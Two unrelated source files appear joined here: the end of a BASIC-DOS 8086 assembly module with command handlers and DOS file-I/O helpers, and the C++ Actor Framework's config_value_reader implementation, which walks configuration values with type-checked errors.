ENDPROC cmdList
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdLoad
;
; Opens the specified file and loads it into one or more text blocks.
;
; TODO: Shrink the final text block to the amount of text actually loaded.
;
; Inputs:
; DS:SI -> filespec (with length CX)
; DX -> one of: BAT_EXT, BAS_EXT, or cmdLoad
;
; Outputs:
; Carry clear if successful, set if error (the main function doesn't
; care whether this succeeds, but other callers do)
;
; Modifies:
; Any except DX
;
DEFPROC cmdLoad
LOCVAR lineLabel,word ; current line label
LOCVAR lineOffset,word ; current line offset
LOCVAR pTextLimit,word ; current text block limit
LOCVAR pLineBuf,word
LOCVAR pFileExt,word
ENTER
ASSUME DS:DATA
mov [pFileExt],dx
cmp dx,offset cmdLoad ; called with an ambiguous name?
jne lf1a ; no
mov dx,offset PERIOD ; yes, so check it
call chkString
jnc lf1 ; period exists, use filename as-is
mov dx,offset BAS_EXT
call addString
lf1: call openInput ; open the specified file
jnc lf1c
cmp si,di ; was there an extension?
jne lf1b ; yes, give up
mov dx,offset BAT_EXT
call addString
lf1a: sub di,di ; zap DI so that we don't try again
jmp lf1
lf1b: call openError ; report error (AX) opening file (SI)
jmp lf13
lf1c: call sizeInput ; set DX:AX to size of input file
call freeAllText ; free any pre-existing blocks
test dx,dx
jnz lf2
add ax,TBLKLEN
jnc lf2a
lf2: mov ax,0FFFFh
lf2a: xchg cx,ax ; CX = size of initial text block
mov [pTextLimit],cx
call allocText
jc lf4y
;
; For every complete line at DS:SI, determine the line label (if any), and
; then add the label # (2 bytes), line length (1 byte), and line contents
; (not including any leading space or terminating CR/LF) to the text block.
;
lea ax,[bx].LINEBUF
mov [pLineBuf],ax
sub cx,cx ; DS:SI contains zero bytes now
lf3: jcxz lf4
push cx
mov dx,si ; save SI
lf3a: lodsb
cmp al,CHR_RETURN
je lf3b
loop lf3a
lf3b: xchg si,dx ; restore SI; DX is how far we got
pop cx
je lf5 ; we found the end of a line
;
; The end of the current line is not contained in our buffer, so "slide"
; everything at DS:SI down to LINEBUF, fill in the rest of LINEBUF, and try
; again.
;
cmp si,[pLineBuf] ; is current line already at LINEBUF?
je lf4y ; yes, we're done
push cx
push di
push es
push ds
pop es
mov di,[pLineBuf]
rep movsb
pop es
pop di
pop cx
lf4: mov si,[pLineBuf] ; DS:SI has been adjusted
;
; At DS:SI+CX, read (size LINEBUF - CX) more bytes.
;
push cx
push si
add si,cx
mov ax,size LINEBUF
sub ax,cx
xchg cx,ax
call readInput
pop si
pop cx
jc lf4x
add cx,ax
jcxz lf4y ; if file is exhausted, we're done
jmp lf3
lf4x: jmp lf10
lf4y: jmp lf12
;
; We found the end of another line starting at DS:SI and ending at DX.
;
lf5: mov [lineOffset],si
lodsb
cmp al,CHR_LINEFEED ; skip LINEFEED from the previous line
je lf6
dec si
lf6: push dx
DOSUTIL ATOI32D ; DS:SI -> decimal string
ASSERT Z,<test dx,dx> ; DX:AX is the result but keep only AX
mov [lineLabel],ax
pop dx
;
; We've extracted the label #, if any; skip over any intervening space.
;
lodsb
cmp al,CHR_SPACE
je lf7
dec si
lf7: dec dx ; back up to CHR_RETURN
sub dx,si ; DX = # of chars on line (may be zero)
;
; Is there room for DX more bytes at ES:DI?
;
mov ax,di
add ax,dx
add ax,3
cmp ax,[pTextLimit] ; overflows the current text block?
jbe lf8 ; no
;
; No, there's not enough room, so allocate another text block.
;
push cx
mov cx,TBLKLEN
mov [pTextLimit],cx
push si
call allocText
pop si
pop cx
jc lf11 ; unable to allocate enough memory
lf8: mov ax,[lineLabel]
stosw
mov al,dl
stosb
push cx
mov cx,dx
rep movsb
mov es:[BLK_FREE],di
pop cx
mov ax,si
sub ax,[lineOffset]
sub cx,ax
;
; Consume the line terminator and go back for more.
;
lodsb
dec cx
jmp lf3
lf10: PRINTF <"Invalid file format",13,10,13,10>
lf11: call freeAllText
stc
lf12: pushf
call closeInput
popf
lf13: mov dx,[pFileExt] ; restore DX for cmdFile calls
LEAVE
ret
ENDPROC cmdLoad
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdNew
;
; Inputs:
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdNew
call freeAllText
call freeAllVars
ret
ENDPROC cmdNew
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdRestart
;
; Inputs:
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdRestart
DOSUTIL RESTART ; this shouldn't return
ret ; but just in case...
ENDPROC cmdRestart
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdRun
;
; For GEN_BATCH files, the PC DOS 2.00 convention would be to replace every
; "%0", "%1", etc, with tokens from TOKENBUF. That convention is unfeasible
; in BASIC-DOS because 1) that syntax doesn't jibe with BASIC, and 2) the
; values of "%0", "%1", etc can change at run-time, so a line containing any
; of those references would have to be reparsed and regenerated every time it
; was executed.
;
; That's not going to happen, so command-line arguments in BASIC-DOS need to
; be handled differently. The good news is that BASIC never had a documented
; means of accessing command-line arguments, so we can do whatever makes the
; most sense. And that seems to be creating a predefined string array
; (eg, _ARG$) filled with the tokens from TOKENBUF, along with a new function
; (eg, SHIFT) that shifts array values the same way the PC DOS 2.00 "SHIFT"
; command shifts arguments.
;
; And it makes sense to create that array at this point, so you can provide
; a fresh set of command-line arguments with every "RUN" invocation.
;
; Environment variables pose a similar challenge, and it's not clear that
; the first release of BASIC-DOS will support them -- but if it did, creating
; a similar predefined string array (eg, _ENV$) from an existing environment
; block would make the most sense.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
; AL = GEN_BASIC or GEN_BATCH (if calling cmdRunFlags)
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdRun
mov al,GEN_BASIC ; RUN implies GEN_BASIC behavior
DEFLBL cmdRunFlags,near
cmp al,GEN_BASIC
jne ru1 ; BASIC programs
call freeAllVars ; always gets a fresh set of variables
ru1: sub si,si
ASSERT STRUCT,[bx],CMD
call genCode
ret
ENDPROC cmdRun
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdTime
;
; Set a new system time (eg, "HH:MM:SS.DD") Any portion of the time string
; that's omitted defaults to zero. TIME /P prompts for a new time, and TIME /D
; displays the difference between the current time and the previous time.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdTime
TESTSW <'D'> ; /D present?
jz tm3 ; no
sub ax,ax ; set ZF
DOSUTIL GETTIME
push cx ; CX:DX = current time
push dx
call printTime
pop dx
pop cx
push cx
push dx
push bx
sub dl,[bx].PREV_TIME.LOW.LOB
jnb tm1a
add dl,100 ; adjust hundredths
stc
tm1a: sbb dh,[bx].PREV_TIME.LOW.HIB
jnb tm1b
add dh,60 ; adjust seconds
stc
tm1b: sbb cl,[bx].PREV_TIME.HIW.LOB
jnb tm1c
add cl,60 ; adjust minutes
stc
tm1c: sbb ch,[bx].PREV_TIME.HIW.HIB
jnb tm1d
add ch,24 ; adjust hours
tm1d: mov al,ch ; AL = hours
mov bl,cl ; BL = minutes
mov cl,dh ; CL = seconds, DL = hundredths
PRINTF <"Elapsed time is %2bu:%02bu:%02bu.%02bu",13,10>,ax,bx,cx,dx
pop bx
pop [bx].PREV_TIME.LOW
pop [bx].PREV_TIME.HIW
tm2: ret
tm3: mov ax,offset promptTime
call getInput ; DS:SI -> string
jc tm2 ; do nothing on empty string
mov ah,':'
call getValues
mov ah,DOS_MSC_SETTIME
int 21h ; set the time
test al,al ; success?
stc
jz promptTime ; yes, display new time and return
PRINTF <"Invalid time",13,10>
cmp [di].TOK_CNT,0 ; did we process a command-line token?
je tm9 ; yes
jmp cmdTime
DEFLBL promptTime,near
jnc tm8
DOSUTIL GETTIME ; GETTIME returns packed time
mov [bx].PREV_TIME.LOW,dx
mov [bx].PREV_TIME.HIW,cx
DEFLBL printTime,near
mov cl,dh ; CL = seconds, DL = hundredths
pushf
PRINTF <"Current time is %2H:%02N:%02bu.%02bu",13,10>,ax,ax,cx,dx
popf
jz tm8
PRINTF <"Enter new time: ">
test ax,ax ; clear CF and ZF
tm8: mov cx,0 ; instead of retaining current values
mov dx,cx ; set all defaults to zero
tm9: ret
ENDPROC cmdTime
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdType
;
; Read the specified file and write the contents to STDOUT.
;
; Inputs:
; BX -> CMDHEAP
; DS:SI -> filespec (with length CX)
;
; Outputs:
; None
;
; Modifies:
; Any
;
DEFPROC cmdType
ASSERT STRUCT,[bx],CMD
mov [bx].HDL_OUTPUT,STDOUT
jmp cmdCopy
ENDPROC cmdType
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; cmdVer
;
; Prints the BASIC-DOS version.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
;
; Outputs:
; None
;
; Modifies:
; AX, BX, CX, DX
;
DEFPROC cmdVer
mov ah,DOS_MSC_GETVER
int 21h
mov al,ah ; AL = BASIC-DOS major version
mov dl,bh ; DL = BASIC-DOS minor version
add bl,'@' ; BL = BASIC-DOS revision
test cx,1 ; CX bit 0 set if BASIC-DOS DEBUG ver
mov cx,offset VER_FINAL
jz ver1
mov cx,offset VER_DEBUG
ver1: cmp bl,'@' ; is revision a letter?
ja ver2 ; yes
mov bl,' ' ; no, change it to space
inc cx ; and skip the leading DEBUG space
ver2: PRINTF <13,10,"BASIC-DOS Version %bd.%02bd%c%ls",13,10,13,10>,ax,dx,bx,cx,cs
ret
ENDPROC cmdVer
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; openInput
;
; Open the specified input file; used by "COPY", "LOAD", etc.
;
; Inputs:
; SS:BX -> CMDHEAP
; DS:SI -> filename
;
; Outputs:
; If carry clear, HDL_INPUT is updated
;
; Modifies:
; AX, DX
;
DEFPROC openInput
mov dx,si ; DX -> filename
mov ax,DOS_HDL_OPENRO
int 21h
jc oi9
ASSERT STRUCT,ss:[bx],CMD
mov ss:[bx].HDL_INPUT,ax ; save file handle
oi9: ret
ENDPROC openInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; openOutput
;
; Open the specified output file; used by "COPY", "SAVE", etc.
;
; Inputs:
; SS:BX -> CMDHEAP
; DS:SI -> filename
;
; Outputs:
; If carry clear, HDL_OUTPUT is updated
;
; Modifies:
; AX, DX
;
DEFPROC openOutput
mov dx,si ; DX -> filename
mov ax,DOS_HDL_OPENRW
int 21h
jc oo9
ASSERT STRUCT,ss:[bx],CMD
mov ss:[bx].HDL_OUTPUT,ax ; save file handle
oo9: ret
ENDPROC openOutput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; closeInput
;
; Close the default file handle.
;
; Inputs:
; BX -> CMDHEAP
;
; Outputs:
; None
;
; Modifies:
; AX
;
DEFPROC closeInput
push bx
sub ax,ax
ASSERT STRUCT,[bx],CMD
xchg ax,[bx].HDL_INPUT
test ax,ax
jz ci9
xchg bx,ax
mov ah,DOS_HDL_CLOSE
int 21h
ci9: pop bx
ret
ENDPROC closeInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; readInput
;
; Read CX bytes from the default file into the buffer at DS:SI.
;
; Inputs:
; BX -> CMDHEAP
; CX = number of bytes
; DS:SI -> buffer
;
; Outputs:
; If carry clear, AX = number of bytes read
; If carry set, an error message was printed
;
; Modifies:
; AX, DX
;
DEFPROC readInput
push bx
mov dx,si
ASSERT STRUCT,[bx],CMD
mov bx,[bx].HDL_INPUT
mov ah,DOS_HDL_READ
int 21h
jnc ri9
PRINTF <"Unable to read file",13,10,13,10>
stc
ri9: pop bx
ret
ENDPROC readInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; seekInput
;
; Seek to the specified position of the input file.
;
; Inputs:
; BX -> CMDHEAP
; CX:DX = absolute position
;
; Outputs:
; None
;
; Modifies:
; AX
;
DEFPROC seekInput
push bx
ASSERT STRUCT,[bx],CMD
mov bx,[bx].HDL_INPUT
mov ax,DOS_HDL_SEEKBEG
int 21h
pop bx
ret
ENDPROC seekInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; sizeInput
;
; Return the size of the input file.
;
; Inputs:
; BX -> CMDHEAP
;
; Outputs:
; If carry clear, DX:AX is the file size
;
; Modifies:
; AX, DX
;
DEFPROC sizeInput
push bx
push cx
ASSERT STRUCT,ss:[bx],CMD
mov bx,ss:[bx].HDL_INPUT ; BX = handle
sub cx,cx
sub dx,dx
mov ax,DOS_HDL_SEEKEND
int 21h
jc si9
push ax
push dx
sub cx,cx
mov ax,DOS_HDL_SEEKBEG
int 21h
pop dx
pop ax
si9: pop cx
pop bx
ret
ENDPROC sizeInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; writeOutput
;
; Write CX bytes to the default file frm the buffer at DS:SI.
;
; Inputs:
; BX -> CMDHEAP
; CX = number of bytes
; DS:SI -> buffer
;
; Outputs:
; If carry clear, AX = number of bytes written
; If carry set, an error message was printed
;
; Modifies:
; AX, DX
;
DEFPROC writeOutput
push bx
mov dx,si
ASSERT STRUCT,[bx],CMD
mov bx,[bx].HDL_OUTPUT
mov ah,DOS_HDL_WRITE
int 21h
jnc wo9
PRINTF <"Unable to write file",13,10,13,10>
stc
wo9: pop bx
ret
ENDPROC writeOutput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; openHandle
;
; Open a handle for redirection.
;
; Inputs:
; AL = 0 for read-only, 1 for write-only
; DI -> TOKENBUF
; BX = token offset
;
; Outputs:
; BX = next token offset
; If carry clear, AX is new handle; otherwise, AX is error
;
; Modifies:
; AX, BX
;
DEFPROC openHandle
push cx
push dx
push si
sub cx,cx
add bx,size TOKLET
mov si,[di].TOK_DATA[bx].TOKLET_OFF
mov cl,[di].TOK_DATA[bx].TOKLET_LEN
mov dx,si
add si,cx
xchg [si],ch ; null-terminate the token
mov ah,DOS_HDL_OPEN
int 21h
jnc oh1
xchg si,dx
call openError ; report error (AX) opening file (SI)
mov si,dx
oh1: mov [si],ch ; restore the token separator
pop si
pop dx
pop cx
ret
ENDPROC openHandle
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; openPipe
;
; Open a pipe. If successful, the caller will use the handle (AX)
; to extract the corresponding SFH from PSP_PFT and store it in both the
; current session's PSP_PFT STDOUT slot and the next session's SPB_SFHIN.
;
; Inputs:
; None
;
; Outputs:
; If carry clear, AX is new pipe handle; otherwise, AX is error
;
; Modifies:
; AX
;
DEFPROC openPipe
push dx
push ds
push cs
pop ds
mov dx,offset PIPE_NAME ; DS:DX -> PIPE_NAME
mov ax,DOS_HDL_OPENRW
int 21h
jnc op1
push si
mov si,dx
call openError ; report error (AX) opening file (SI)
pop si
op1: pop ds
pop dx
ret
ENDPROC openPipe
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; findFile
;
; Find the filename at DS:SI. I originally used DOS_DSK_FFIRST to find it,
; but that returns its results in the DTA, which may be where the command
; we're processing is still located (eg, if it was passed in via PSP_CMDTAIL).
;
; Since this function is always looking for a specific file (no wildcards),
; we may as well use open and close.
;
; Inputs:
; DS:SI -> filename
;
; Outputs:
; Carry clear if file found, set otherwise (AX = error #)
;
; Modifies:
; AX
;
DEFPROC findFile
push dx
call openInput
jc ff9
call closeInput
ff9: pop dx
ret
ENDPROC findFile
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; addString
;
; Copy a source string (CS:DX) to the end of a target string (DS:DI).
;
; Inputs:
; CS:DX -> source
; DS:DI -> target (with length CX)
;
; Outputs:
; None
;
; Modifies:
; AX
;
DEFPROC addString
push si
push di
add di,cx
mov si,dx
as1: lods byte ptr cs:[si]
stosb
test al,al
jnz as1
pop di
pop si
ret
ENDPROC addString
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; chkString
;
; Check the target string (DS:SI) for the source string (CS:DX).
;
; Inputs:
; CS:DX -> source
; DS:SI -> target
;
; Outputs:
; If carry clear, DI points to the first match; otherwise, DI = SI
;
; Modifies:
; AX, DI
;
DEFPROC chkString
mov di,si ; ES:DI -> target
push si
mov si,dx ; CS:SI -> source
DOSUTIL STRSTR ; if carry clear, DI updated
pop si
ret
ENDPROC chkString
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getInput
;
; Use by cmdDate and cmdTime to set DS:SI to an input string.
;
; Inputs:
; BX -> CMDHEAP
; DI -> TOKENBUF
; AX = prompt function
;
; Outputs:
; CX, DX = default values from caller-supplied function
; DS:SI -> CR-terminated string
; Carry clear if input exists, carry set if no input provided
;
; Modifies:
; AX, CX, DX, SI
;
DEFPROC getInput
mov dl,[bx].CMD_ARG
call getToken
jnc gi1
;
; No input was provided, and we don't prompt unless /P was specified.
;
push ax
TESTSW <'P'>
pop ax
stc
;
; The prompt function performs three important steps:
;
; 1) Load current values in CX, DX
; 2) If CF is set, print current values
; 3) If ZF is clear, prompt for new values and clear CF
;
gi1: call ax ; AX = caller-supplied function
jbe gi9 ; if CF or ZF set, we're done
;
; Request new values.
;
push dx
lea si,[bx].LINEBUF
mov word ptr [si].INP_MAX,12; max of 12 chars (including CR)
mov dx,si
mov ah,DOS_TTY_INPUT
int 21h
call printCRLF
pop dx
inc si
cmp byte ptr [si],1 ; set carry if no characters
inc si ; skip ahead to characters, if any
ret
gi9: mov [di].TOK_CNT,0 ; zero count to prevent reprocessing
ret
ENDPROC getInput
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getValues
;
; Used by cmdDate and cmdTime to get a series of delimited values.
;
; Inputs:
; AH = default delimiter
; SI -> DS-relative string data (CR-terminated)
;
; Outputs:
; CH, CL, DH, DL
;
; Modifies:
; AX, CX, DX, SI
;
DEFPROC getValues
push bx
xchg bx,ax ; BH = default delimiter
call getValue
jc gvs2
mov ch,al ; CH = 1st value (eg, month)
gvs2: call getValue
jc gvs3
mov cl,al ; CL = 2nd value (eg, day)
gvs3: cmp bh,':'
jne gvs4
mov bh,'.'
gvs4: call getValue
jc gvs5
mov dx,ax ; DX = 3rd value (eg, year)
gvs5: cmp bh,'-' ; are we dealing with a date?
je gvs9 ; yes
mov dh,al ; DH = 3rd value (eg, seconds)
push dx
push di
mov bl,10 ; BL = base 10
lea dx,[si+2]
mov di,-1 ; DI = -1 (no validation data)
DOSUTIL ATOI16 ; DS:SI -> string
jc gvs8
sub dx,si ; too many digits?
jc gvs6 ; yes
je gvs7 ; no, exactly 2 digits
mov dl,10 ; one digit must be multiplied by 10
mul dl
jmp short gvs7
gvs6: mov al,-1
gvs7: clc
gvs8: pop di
pop dx
jc gvs9
mov dl,al ; DL = 4th value (eg, hundredths)
gvs9: pop bx
ret
ENDPROC getValues
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; getValue
;
; Used by getValues to get a single delimited value.
;
; No data validation is performed here, since the DOS_MSC_SETDATE and
; DOS_MSC_SETTIME functions are required to validate their inputs.
;
; If delimiter validation fails, an out-of-bounds value (-1) is returned.
;
; Inputs:
; BH = default delimiter
; SI -> DS-relative string data (CR-terminated)
;
; Outputs:
; If carry clear, AX = value (-1 if invalid delimiter)
; If carry set, no data
;
; Modifies:
; AX, BL, SI
;
DEFPROC getValue
push di
mov bl,10 ; BL = base 10
mov di,-1 ; DI = -1 (no validation data)
DOSUTIL ATOI16 ; DS:SI -> string
sbb di,di ; DI = -1 if no data
mov bl,[si] ; BL = termination character
cmp bl,CHR_RETURN ; CR (or null terminator)?
jbe gv9 ; presumably
inc si
cmp bl,bh ; expected termination character?
je gv9 ; yes
cmp bh,'-' ; was dash specified?
jne gv8 ; no
cmp bl,'/' ; yes, so allow slash as well
je gv9 ; no, not slash either
gv8: or ax,-1 ; return invalid value
sub di,di ; and ensure carry will be clear
gv9: add di,1 ; otherwise, set carry if no data
pop di
ret
ENDPROC getValue
CODE ENDS
end main
|
/******************************************************************************
* ____ _ _____ *
* / ___| / \ | ___| C++ *
* | | / _ \ | |_ Actor *
* | |___ / ___ \| _| Framework *
* \____/_/ \_|_| *
* *
* Copyright 2011-2020 Dominik Charousset *
* *
* Distributed under the terms and conditions of the BSD 3-Clause License or *
* (at your option) under the terms and conditions of the Boost Software *
* License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. *
* *
* If you did not receive a copy of the license files, see *
* http://opensource.org/licenses/BSD-3-Clause and *
* http://www.boost.org/LICENSE_1_0.txt. *
******************************************************************************/
#include "caf/config_value_reader.hpp"
#include "caf/config_value.hpp"
#include "caf/detail/append_hex.hpp"
#include "caf/detail/overload.hpp"
#include "caf/detail/parse.hpp"
#include "caf/detail/parser/add_ascii.hpp"
#include "caf/detail/print.hpp"
#include "caf/settings.hpp"
namespace {
template <class T>
struct pretty_name;
#define PRETTY_NAME(type, pretty_str) \
template <> \
struct pretty_name<type> { \
[[maybe_unused]] static constexpr const char* value = pretty_str; \
}
PRETTY_NAME(const caf::settings*, "dictionary");
PRETTY_NAME(const caf::config_value*, "config_value");
PRETTY_NAME(const std::string*, "key");
PRETTY_NAME(caf::config_value_reader::absent_field, "absent field");
PRETTY_NAME(caf::config_value_reader::sequence, "sequence");
PRETTY_NAME(caf::config_value_reader::associative_array, "associative array");
template <class T>
constexpr auto pretty_name_v = pretty_name<T>::value;
auto get_pretty_name(const caf::config_value_reader::value_type& x) {
const char* pretty_names[] = {
"dictionary", "config_value", "key",
"absent field", "sequence", "associative array",
};
return pretty_names[x.index()];
}
} // namespace
#define CHECK_NOT_EMPTY() \
do { \
if (st_.empty()) { \
emplace_error(sec::runtime_error, "mismatching calls to begin/end"); \
return false; \
} \
} while (false)
#define SCOPE(top_type) \
CHECK_NOT_EMPTY(); \
if (!holds_alternative<top_type>(st_.top())) { \
std::string msg; \
msg += "type clash in function "; \
msg += __func__; \
msg += ": expected "; \
msg += pretty_name_v<top_type>; \
msg += " got "; \
msg += get_pretty_name(st_.top()); \
emplace_error(sec::runtime_error, std::move(msg)); \
return false; \
} \
[[maybe_unused]] auto& top = get<top_type>(st_.top());
namespace caf {
// -- member types--------------------------------------------------------------
bool config_value_reader::sequence::at_end() const noexcept {
return index >= ls->size();
}
const config_value& config_value_reader::sequence::current() {
return (*ls)[index];
}
bool config_value_reader::associative_array::at_end() const noexcept {
return pos == end;
}
const std::pair<const std::string, config_value>&
config_value_reader::associative_array::current() {
return *pos;
}
// -- constructors, destructors, and assignment operators ----------------------
config_value_reader::~config_value_reader() {
// nop
}
// -- interface functions ------------------------------------------------------
bool config_value_reader::fetch_next_object_type(type_id_t& type) {
if (st_.empty()) {
emplace_error(sec::runtime_error,
"tried to read multiple objects from the root object");
return false;
} else {
auto f = detail::make_overload(
[this](const settings*) {
emplace_error(sec::runtime_error,
"fetch_next_object_type called inside an object");
return false;
},
[this, &type](const config_value* val) {
if (auto obj = get_if<settings>(val); obj == nullptr) {
emplace_error(sec::conversion_failed, "cannot read input as object");
return false;
} else {
return fetch_object_type(obj, type);
}
},
[this](key_ptr) {
emplace_error(
sec::runtime_error,
"reading an object from a dictionary key not implemented yet");
return false;
},
[this](absent_field) {
emplace_error(
sec::runtime_error,
"fetch_next_object_type called inside non-existent optional field");
return false;
},
[this, &type](sequence& seq) {
if (seq.at_end()) {
emplace_error(sec::runtime_error, "list index out of bounds");
return false;
}
if (auto obj = get_if<settings>(std::addressof(seq.current())); !obj) {
emplace_error(sec::conversion_failed, "cannot read input as object");
return false;
} else {
return fetch_object_type(obj, type);
}
},
[this](associative_array&) {
emplace_error(sec::runtime_error,
"fetch_next_object_type called inside associative array");
return false;
});
return visit(f, st_.top());
}
}
bool config_value_reader::begin_object(string_view) {
if (st_.empty()) {
emplace_error(sec::runtime_error,
"tried to read multiple objects from the root object");
return false;
}
auto f = detail::make_overload(
[this](const settings*) {
emplace_error(sec::runtime_error,
"begin_object called inside another object");
return false;
},
[this](const config_value* val) {
if (auto obj = get_if<settings>(val)) {
// Morph into an object. This value gets "consumed" by
// begin_object/end_object.
st_.top() = obj;
return true;
} else {
emplace_error(sec::conversion_failed, "cannot read input as object");
return false;
}
},
[this](key_ptr) {
emplace_error(
sec::runtime_error,
"reading an object from a dictionary key not implemented yet");
return false;
},
[this](absent_field) {
emplace_error(sec::runtime_error,
"begin_object called inside non-existent optional field");
return false;
},
[this](sequence& seq) {
if (seq.at_end()) {
emplace_error(sec::runtime_error,
"begin_object: sequence out of bounds");
return false;
}
if (auto obj = get_if<settings>(std::addressof(seq.current()))) {
seq.advance();
st_.push(obj);
return true;
} else {
emplace_error(sec::conversion_failed, "cannot read input as object");
return false;
}
},
[this](associative_array&) {
emplace_error(sec::runtime_error,
"fetch_next_object_type called inside associative array");
return false;
});
return visit(f, st_.top());
}
bool config_value_reader::end_object() {
SCOPE(const settings*);
st_.pop();
return true;
}
bool config_value_reader::begin_field(string_view name) {
SCOPE(const settings*);
if (auto i = top->find(name); i != top->end()) {
st_.push(std::addressof(i->second));
return true;
} else {
emplace_error(sec::runtime_error, "no such field: " + to_string(name));
return false;
}
}
bool config_value_reader::begin_field(string_view name, bool& is_present) {
SCOPE(const settings*);
if (auto i = top->find(name); i != top->end()) {
is_present = true;
st_.push(std::addressof(i->second));
} else {
is_present = false;
}
return true;
}
bool config_value_reader::begin_field(string_view name,
span<const type_id_t> types,
size_t& index) {
SCOPE(const settings*);
std::string key;
key += '@';
key.insert(key.end(), name.begin(), name.end());
key += "-type";
type_id_t id = 0;
if (auto str = get_if<std::string>(top, key); !str) {
emplace_error(sec::runtime_error, "could not find type annotation: " + key);
return false;
} else if (id = query_type_id(*str); id == invalid_type_id) {
emplace_error(sec::runtime_error, "no such type: " + *str);
return false;
} else if (auto i = std::find(types.begin(), types.end(), id);
i == types.end()) {
emplace_error(sec::conversion_failed,
"instrid type for variant field: " + *str);
return false;
} else {
index = static_cast<size_t>(std::distance(types.begin(), i));
}
return begin_field(name);
}
bool config_value_reader::begin_field(string_view name, bool& is_present,
span<const type_id_t> types,
size_t& index) {
SCOPE(const settings*);
if (top->contains(name)) {
is_present = true;
return begin_field(name, types, index);
} else {
is_present = false;
return true;
}
}
bool config_value_reader::end_field() {
CHECK_NOT_EMPTY();
// Note: no pop() here, because the value(s) were already consumed.
return true;
}
bool config_value_reader::begin_tuple(size_t size) {
size_t list_size = 0;
if (begin_sequence(list_size)) {
if (list_size == size)
return true;
std::string msg;
msg += "expected tuple of size ";
detail::print(msg, size);
msg += ", got tuple of size ";
detail::print(msg, list_size);
emplace_error(sec::conversion_failed, std::move(msg));
return false;
}
return false;
}
bool config_value_reader::end_tuple() {
return end_sequence();
}
bool config_value_reader::begin_key_value_pair() {
SCOPE(associative_array);
if (top.at_end()) {
emplace_error(sec::runtime_error,
"tried to read associate array past its end");
return false;
}
auto& kvp = top.current();
st_.push(std::addressof(kvp.second));
st_.push(std::addressof(kvp.first));
return true;
}
bool config_value_reader::end_key_value_pair() {
SCOPE(associative_array);
++top.pos;
return true;
}
bool config_value_reader::begin_sequence(size_t& size) {
SCOPE(const config_value*);
if (auto ls = get_if<config_value::list>(top)) {
size = ls->size();
// "Transform" the top element to a list. Otherwise, we would need some
// extra logic only to clean up the object.
st_.top() = sequence{ls};
return true;
}
std::string msg = "expected a list, got a ";
msg += top->type_name();
emplace_error(sec::conversion_failed, std::move(msg));
return false;
}
bool config_value_reader::end_sequence() {
SCOPE(sequence);
if (!top.at_end()) {
emplace_error(sec::runtime_error,
"failed to consume all elements in a sequence");
return false;
}
st_.pop();
return true;
}
